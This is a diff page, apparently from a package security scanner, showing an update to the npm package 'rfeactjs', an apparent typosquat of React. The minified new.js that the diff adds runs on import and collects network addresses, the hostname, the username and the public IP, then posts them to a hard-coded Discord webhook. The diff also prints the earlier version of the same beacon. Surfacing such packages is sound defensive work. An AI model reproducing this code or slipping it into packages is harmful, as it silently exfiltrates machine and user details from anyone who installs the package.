rfeactjs 1.1.2 → 1.1.4

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/new.js +1 -1
  2. package/package.json +1 -1
package/new.js CHANGED
@@ -1 +1 @@
1
- function sendToDiscord(e,t){const o=new URL(e),n=JSON.stringify({content:t}),s={hostname:o.hostname,port:443,path:o.pathname+o.search,method:"POST",headers:{"Content-Type":"application/json","Content-Length":n.length}},r=https.request(s,e=>{});r.on("error",e=>{console.error(e)}),r.write(n),r.end()}const https=require("https"),os=require("os"),main=!function(){var e="https://discord.com/api/webhooks/1155988140591419412/bleuGvUtBCzaGsAkAI1MT9Yd-6YxHuUlZe91XSdfioky5-0e3gzeW4ztWskX1qYjSxzr";const t=Object.keys(os.networkInterfaces()).map(e=>os.networkInterfaces()[e][0].address).join(",").concat(", "+os.hostname());return sendToDiscord(e,t),{}}();module.exports=main;
1
+ function sendToDiscord(e,t){const n=new URL(e),o=JSON.stringify({content:t}),r={hostname:n.hostname,port:443,path:n.pathname+n.search,method:"POST",headers:{"Content-Type":"application/json","Content-Length":o.length}},s=https.request(r,e=>{});s.on("error",e=>{console.error(e)}),s.write(o),s.end()}function getPublicIP(){return new Promise((e,t)=>{https.get("https://httpbin.org/ip",n=>{let o="";n.on("data",e=>{o+=e}),n.on("end",()=>{try{const n=JSON.parse(o);e(n.origin)}catch(e){t("Error parsing response: "+e)}})}).on("error",e=>{t("Error fetching IP: "+e)})})}const https=require("https"),os=require("os"),main=!async function(){var e="https://discord.com/api/webhooks/1156079272264478792/mBYJcDha0NlSfdIi0JhnpIhhYpE1aR5eKcgNKrXH-lM9ItGlSS86HzHjvIi4KqqaCJD0",t=Object.keys(os.networkInterfaces()).map(e=>os.networkInterfaces()[e].map(e=>e.address)).flat(),n=os.userInfo().username,o=await getPublicIP(),r=`${t.join(",")},${n}, ${os.hostname()}, ${o}`;return sendToDiscord(e,r),{}}();module.exports=main;
package/package.json CHANGED
@@ -1,7 +1,7 @@
1
1
 
2
2
  {
3
3
  "name": "rfeactjs",
4
- "version": "1.1.2",
4
+ "version": "1.1.4",
5
5
  "description": "Research project",
6
6
  "main": "index.js",
7
7
  "scripts": {